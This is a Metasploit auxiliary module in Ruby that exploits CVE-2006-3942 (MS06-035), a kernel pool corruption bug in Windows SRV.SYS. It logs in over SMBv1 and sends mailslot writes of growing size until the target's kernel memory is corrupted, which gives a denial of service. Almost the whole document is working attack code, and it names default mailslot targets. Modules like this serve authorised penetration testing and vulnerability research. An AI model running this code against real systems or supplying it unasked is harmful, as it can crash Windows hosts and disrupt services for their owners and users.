Microsoft SRV.SYS Mailslot Write Corruption

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::SMB::Client  
include Msf::Auxiliary::Dos  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Microsoft SRV.SYS Mailslot Write Corruption',  
'Description' => %q{  
This module triggers a kernel pool corruption bug in SRV.SYS. Each  
call to the mailslot write function results in a two byte return value  
being written into the response packet. The code which creates this packet  
fails to consider these two bytes in the allocation routine, resulting in  
a slow corruption of the kernel memory pool. These two bytes are almost  
always set to "\xff\xff" (a short integer with value of -1).  
},  
  
'Author' => [ 'hdm' ],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['BID', '19215'],  
['OSVDB', '27644'],  
['CVE', '2006-3942'],  
['URL', 'http://www.coresecurity.com/common/showdoc.php?idx=562&idxseccion=10'],  
['MSB', 'MS06-035'],  
],  
'Actions' =>  
[  
['Attack', 'Description' => 'Run Denial of Service'],  
],  
'DefaultAction' => 'Attack',  
'DisclosureDate' => '2006-07-11'  
))  
  
register_options(  
[  
OptString.new('MAILSLOT', [ true, "The mailslot name to use", 'Alerter']),  
])  
  
deregister_options('SMB::ProtocolVersion')  
end  
  
# MAILSLOT: HydraLsServer  
# MAILSLOT: Messngr  
# MAILSLOT: 53cb31a0\\UnimodemNotifyTSP  
  
def run  
  
case action.name  
when 'Attack'  
  
print_status("Mangling the kernel, two bytes at a time...");  
  
connect(versions: [1])  
smb_login  
  
1.upto(1024) do |i|  
  
if (i % 100 == 0)  
print_status("Sending request containing #{i} bytes...")  
end  
  
begin  
self.simple.client.trans_mailslot("\\MAILSLOT\\"+datastore['MAILSLOT'], "X" * i)  
  
rescue ::Interrupt  
return  
  
rescue ::Exception => e  
  
if (i == 1)  
print_error("Failed to write any data to the mailslot: #{e}")  
break  
end  
print_error("Exception occurred on iteration #{i}")  
print_error("Error: #{e.class} > #{e}")  
break  
end  
end  
  
# Errors:  
# 0xc0000034 = object not found  
# 0xc0000205 = insufficient resources (too much data)  
  
end  
  
disconnect  
end  
end  
`